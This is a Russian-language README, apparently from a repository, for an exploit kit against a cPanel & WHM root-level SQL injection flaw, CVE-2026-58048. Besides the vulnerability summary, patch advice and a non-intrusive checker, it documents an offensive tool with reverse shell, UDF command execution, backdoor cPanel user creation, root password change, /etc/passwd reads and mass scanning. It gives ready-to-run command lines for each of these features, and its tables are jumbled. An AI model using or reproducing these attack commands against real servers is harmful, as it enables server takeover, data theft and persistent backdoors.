CVEPoC

💥 CVE‑2026‑58048 – Инструментарий для выполнения SQL-запросов с правами root в cPanel

⚠️ ТОЛЬКО ЭТИЧНОЕ ИСПОЛЬЗОВАНИЕ – АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ
Этот репозиторий предоставляет инструменты исключительно для авторизованных специалистов по безопасности, blue teams и пентестеров.
Несанкционированный доступ к компьютерным системам является незаконным в соответствии с CFAA (США), Computer Misuse Act (Великобритания), TCK 243/244 (Турция) и аналогичными законами по всему миру.

📖 Обзор уязвимости

CVE‑2026‑58048 — критическая уязвимость SQL-инъекции в cPanel & WHM версий 11.x, позволяющая аутентифицированному пользователю cPanel выполнять произвольные SQL-команды с привилегиями root MySQL через функцию переименования базы данных.

Как это работает

Требуется аутентифицированный доступ – злоумышленник должен иметь действующую учётную запись cPanel (имя пользователя/пароль) на целевом сервере.
Манипуляция режимом SQL – эксплойт переводит сессию MySQL в режим ANSI_QUOTES, что изменяет поведение парсинга.
Инъекция при переименовании базы данных – при переименовании базы данных новое имя не проходит должную санитизацию, что позволяет злоумышленнику внедрять произвольные SQL-выражения.
Привилегии root – поскольку операция переименования выполняется с привилегиями root MySQL, внедрённый SQL выполняется с наивысшими правами доступа к базе данных.
Воздействие – полный захват базы данных, повышение привилегий, компрометация сервера, кража данных, бэкдоры и боковое перемещение. Немедленно обновитесь!

Уязвимые версии

cPanel & WHM 11.110 и более ранние – уязвимы
11.111 – 11.118 – уязвимы
11.119 – 11.126 – уязвимы
11.127 – 11.134 – уязвимы
11.135 – 11.136 – уязвимы
11.137.x – уязвимы ниже 11.137.1.6
11.138.1.6 и более поздние – исправлены

Патч

Обновитесь до cPanel & WHM 11.138.1.6 или новее.
Если обновление невозможно, отключите операции переименования MySQL для пользователей cPanel в качестве временного обходного решения.

🧰 Инструменты

Инструмент	Назначение	Целевой пользователь
`exploit.py`	Полный боевой инструментарий с обратной оболочкой, персистентностью, UDF RCE, чтением/записью файлов, операциями с базами данных, поддержкой прокси и массовым сканированием.

📊 Сравнение возможностей

🎯 Сводка по сценариям использования

⚙️ Установка

git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt

requirements.txt

requests
urllib3
colorama
pymysql

📋 Параметры

Параметры `exploit.py`

Параметры `safecheck.py`

💥 Сценарии

🧪 Использование эндпоинтов и API

Эксплойт использует следующие эндпоинты cPanel UAPI:

🛡️ Ответственное использование

Используйте эти инструменты только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Несанкционированный доступ является незаконным и неэтичным.
Авторы не несут ответственности за любое неправомерное использование.
Всегда соблюдайте законы и нормативные акты вашей страны.

Это программное обеспечение предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности.

Обнаружение уязвимости	✅	✅
Определение версии	✅	✅
SQL-инъекция с правами root MySQL	✅	❌
Обратная оболочка	✅	❌
Персистентность (создание пользователя cPanel)	✅	❌
UDF RCE (выполнение команд)	✅	❌
Чтение/запись файлов	✅	❌
Операции с базами данных (любой SQL)	✅	❌
Поддержка прокси	✅	✅
Массовое сканирование (многопоточное)	✅	❌
Интерактивная оболочка	✅	❌
Неинтрузивный (безопасный) режим	❌	✅
Подробный/отладочный режим	✅	✅
Управление проверкой SSL	✅	✅
Пользовательский User‑Agent	✅	✅
Задержка запросов / повторы	✅	❌
Вывод в JSON / отчёт	✅	✅
Проверка доступности эндпоинта	❌	✅
Обнаружение утечки режима SQL	❌	✅

Blue Team – проверка уязвимости вашей установки cPanel	`safecheck.py`
Аудит безопасности – неинтрузивная оценка уязвимости	`safecheck.py`
Red Team – авторизованное тестирование на проникновение с полной эксплуатацией	`exploit.py`
Bug Bounty – ответственное раскрытие	`safecheck.py`
Массовое сканирование – проверка нескольких целей на уязвимость	`exploit.py` (только обнаружение)
Реагирование на инциденты – проверка компрометации систем	`safecheck.py`

`-t, --target`	URL целевого cPanel (например, `https://cpanel.example.com:2083`)
`-l, --target-file`	Файл со списком целей (по одной в строке) для массового сканирования
`-u, --mysql-user`	Имя пользователя cPanel/MySQL
`-P, --mysql-pass`	Пароль cPanel/MySQL
`--mysql-port`	Порт MySQL (по умолчанию: 3306)
`-p, --port`	Переопределить порт cPanel (по умолчанию из URL или 2083)
`--threads`	Количество потоков для нескольких целей (по умолчанию: 10)
`-o, --output`	Сохранить результаты в файл (одна цель)
`--log`	Файл журнала для подробного вывода
`-v, --verbose`	Подробный вывод
`--proxy`	HTTP/HTTPS прокси (например, `http://127.0.0.1:8080`)
`-ua, --user-agent`	Пользовательский User‑Agent
`--no-keep-alive`	Не поддерживать сессию активной
`--delay`	Задержка между запросами (по умолчанию: 2.0с)
`--max-retries`	Максимум повторов (по умолчанию: 3)
`--ssl-verify`	Проверять SSL-сертификаты
`--cmd`	Команда для выполнения (префикс `sql:` или `udf:` для конкретного типа)
`--inject`	Пользовательский SQL для инъекции (переопределяет другие действия)
`--reverse-shell`	IP:PORT обратной оболочки (использует UDF)
`--passwd`	Изменить пароль root MySQL
`--adduser`	Создать пользователя cPanel (USER DOMAIN PASSWORD)
`--read`	Прочитать файл через `LOAD_FILE`
`-i, --interactive`	Интерактивная оболочка после эксплуатации
`--verify`	Проверить успешность эксплуатации попыткой входа в MySQL
`--ping`	Пинговать цель перед эксплуатацией

`-t, --target`	URL целевого cPanel (например, `https://cpanel.example.com:2083`)
`-v, --verbose`	Подробный вывод
`--proxy`	HTTP/HTTPS прокси (например, `http://127.0.0.1:8080`)
`-ua, --user-agent`	Пользовательский User‑Agent
`--ssl-verify`	Проверять SSL-сертификаты
`--timeout`	Таймаут запроса в секундах (по умолчанию: 10)
`--log`	Сохранить отчёт в файл
`--json`	Вывод результатов в формате JSON

1	Быстрая проверка уязвимости	`python safecheck.py -t https://cpanel.example.com:2083`
2	Детальное сканирование с отчётом	`python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v`
3	Обратная оболочка	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444`
4	Выполнить пользовательский SQL (root)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON . TO 'hacker'@'%' IDENTIFIED BY 'pwned'"`
5	Прочитать конфиденциальный файл	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd`
6	Изменить пароль root MySQL	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123`
7	Создать нового пользователя cPanel (персистентность)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123`
8	Интерактивная оболочка после эксплуатации	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i`
9	Массовое сканирование из файла	`python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json`
10	Использование прокси и пользовательского User‑Agent	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)"`

Популярное

CVE-2026-58048-PoC-Exploit

Описание

`/execute/Mysql/create_database`	Создать временную базу данных
`/execute/Mysql/delete_database`	Очистить созданные базы данных
`/execute/Mysql/rename_database`	Уязвимый эндпоинт – вызывает SQL-инъекцию
`/execute/Version/get_version`	Проверка аутентификации и версии
`/execute/UserManager/create_user`	Создать нового пользователя cPanel (персистентность)
`/execute/UserManager/list_users`	Список существующих пользователей